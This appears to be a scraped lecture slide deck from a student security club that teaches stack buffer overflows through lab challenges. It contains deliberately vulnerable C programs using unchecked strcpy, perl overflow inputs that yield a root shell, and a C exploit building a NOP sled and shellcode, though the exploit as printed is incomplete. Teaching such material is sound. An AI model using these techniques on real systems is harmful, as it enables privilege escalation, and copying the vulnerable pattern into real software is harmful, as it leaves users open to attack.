• No results found

Stack Overflows. Mitchell Adair

N/A
N/A
Protected

Academic year: 2021

Share "Stack Overflows. Mitchell Adair"

Copied!
27
0
0

Loading.... (view fulltext now)

Full text

(1)

Stack Overflows

Mitchell Adair

(2)

Outline

Why?

What?

There once was a VM

Virtual Memory

Registers

Stack

stack1, stack2, stack3

Resources

(3)

Why?

Real problem

Real money

Real recognition

Still prevalent

Very valuable skill set

Extends into format strings, heap exploitation, etc.

(4)

What?

Overwriting adjacent memory on the stack

In the case of a buffer overflow... by writing more

memory that allocated

(5)

There once was a VM

All these challenges, plus more

Going to put future material on here as well

Ubuntu virtual machine (vmware)

Challenges, solutions, etc...

utdcsg.org

Don't give up! Join us in irc for questions

(6)

Text Data BSS

Heap

Stack

Initialized global and static variables

Uninitialized global and static variables

Program scratch space.

Local variables, pass arguments, etc..

Code segment, machine instr.

Dynamic space.

malloc(...) / free(...) new(...) / ~

Virtual Memory

Low Low

High

(7)

Registers

EIP – Extended Instruction Pointer

ESP – Extended Stack Pointer

EBP – Extended Base Pointer

EAX

ECX EDX

ESI EDI

Next Instruction executed Top of stack

Base pointer

Data register Source index

Destination Index Counter register

Accumulator register

EBX

Base register

(8)

The Stack

ESP

EBP RET

arguments...

previous stack frame local variables ...

High Low

EBP

EBP - x

EBP + x

(9)

int main(int argc, char *argv[]) { int allowed = 0;

char name[100];

strcpy(name, argv[1]);

if (allowed == 0xabcd1234)

execl("/bin/sh", "sh", NULL);

}

stack1.c

(10)

Writing down the stack

ESP

EBP RET

argc *argv[]

EBP

allowed = 0

char name[100]

4 bytes 100 bytes

4 bytes 4 bytes

(11)

...writing down the stack

ESP

EBP RET

argc *argv[]

EBP 4 bytes

100 bytes

4 bytes 4 bytes 104 bytes of

data

...

0xabcd1234

(12)

Defeating stack1

$ ./stack1 $(perl -e 'print "A" x 103')

allowed at 0xbffff44c with value 0x00000000 name at 0xbffff3e8

sorry, not this time. allowed = 0x00414141

4 bytes 100 bytes 103 bytes of

data A A ...

A A A

(13)

… Defeating stack1

$ ./stack1 $(perl -e 'print "A" x 100 . "\x34\x12\xcd\xab"')

# id

uid=1000(csg) gid=1000(csg) euid=0(root)

104 bytes of data

...

0xabcd1234

(14)

stack2

int main(int argc, char *argv[]) { char name[100];

int allowed = 0;

strcpy(name, argv[1]);

if (allowed == 1)

execl("/bin/sh", "sh", NULL);

}

Can't overwrite allowed

(15)

Controling eip

We can still control program execution

EIP gets popped off the stack during ret

EBPRET

Args...

Previous stack frame

108 bytes of data

evil address

allowed = 0

The ret instruction:

Pop eip

Pops the value off the

top of the stack (esp)

into eip

(16)

...where to jump?

How about directly after the if...

0x0804847d: cmp [esp+0x7c],0x1 0x08048482: jne 0x080484b7 0x08048484: mov [esp+0x8],0x0

0x0804848c: mov [esp+0x4],0x8048580 0x08048494: mov [esp],0x8048583

0x0804849b: call 0x8048364 <execl@plt>

0x080484b7: leave 0x080484b8: ret

...

If (value == 1) {

… execl('/bin/sh') } return

We can't make it past this jump

But, we could overwrite eip (ret) to jump to here

(17)

Defeating stack2

$ ./stack2 $(perl -e 'print "A" x 108 . "\x84\x84\x04\x08"') sorry, not this time

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��

# id

uid=1000(csg) gid=1000(csg) euid=0

(18)

stack3.c

int main(int argc, char **argv) { char name[100];

strcpy(name, argv[1]);

}

There's no point of interest to jump to. We'll have to create our own.

We have roughly 100

bytes to work with...

(19)

Creating a Payload

ESP

EBP RET

argc *argv[]

EBP 4 bytes

100 bytes

4 bytes 4 bytes

?

(20)

Defeating stack3 - 1

// fill the whole thing with the return address for(i = 0; i < 152; i+= 4)

*((unsigned int *)(command + i)) = ret;

152 bytes ret

… ret

… ret

Fill the entire payload with the ret address, pointing to the

beginning.

(21)

Defeating stack3 - 2

152 bytes ret

ret

Fill the first X bytes with the NOP sled.

// place the NOP sled for the first 60 bytes

memset(command, 0x90, 65); NOP sled

(22)

Defeating stack3 - 3

152 bytes

ret

Place the shellcode after the NOP sled

- this is the actual thing to be executed in the payload.

NOP sled

// place the shellcode after NOP sled

memcpy(command + 65, shellcode,sizeof(shellcode)-1);

Payload (/bin/sh)

(23)

The full payload

ESP

EBP RET

argc *argv[]

EBP 4 bytes

100 bytes

4 bytes 4 bytes NOP sled

Payload (/bin/sh)

ret

(24)

Entire Exploit

int main(int argc, char *argv[]) { char command[152];

/* create a local variable i for reference,

set the ret value to i's address, minus some offset */

unsigned int i, ret, offset = 60;

/* fill the whole thing with the return address */

for(i = 0; i < 152; i+= 4)

*((unsigned int *)(command + i)) = ret;

memset(command, 0x90, 65); // place the NOP sled for the first 60 bytes // place the shellcode after NOP sled

memcpy(command + 65, shellcode,sizeof(shellcode)-1);

execl("./stack3", "stack3", command, (char *)NULL);

}

1

2

3

(25)

Just for completeness...

$ ./a.out

# id

uid=1000(csg) gid=1000(csg) euid=0(root)

(26)

This is all available...

On the CSG Ubuntu virtual machine

Challenges

Solutions

utdcsg.org

Hop in irc if you have questions

Don't just look at the solutions ;)

Slides + individual vuln#.c files

utdcsg.org

(27)

Resources

utdcsg.org

Of course...

Art of Exploitation

Awesome book... go buy it, seriously.

smashthestack.org

Great wargames, exactly the same kind of challenges

References

Related documents

Nova Swift Glance Keystone. Horizon Neutron Cinder

[r]

[r]

SP points to location last item placed in block SP points to location last item placed in block SP SP decreases decreases when you put an item on the stack when you put an item on

In this review, the research carried out using various ion-exchange resin-like adsorbents including modified clays, lignocellulosic biomasses, chitosan and its derivatives, microbial

[r]

Thus a specific annealing treatment of 700°C for 28 min leads to a hardness decrease of 15 and 22 % for HiSi and R8T respectively, while corresponding difference in fatigue life

NX-bit in page table → prevent execution on a page Use this bit for stack pages:.. PageFault if eip points on a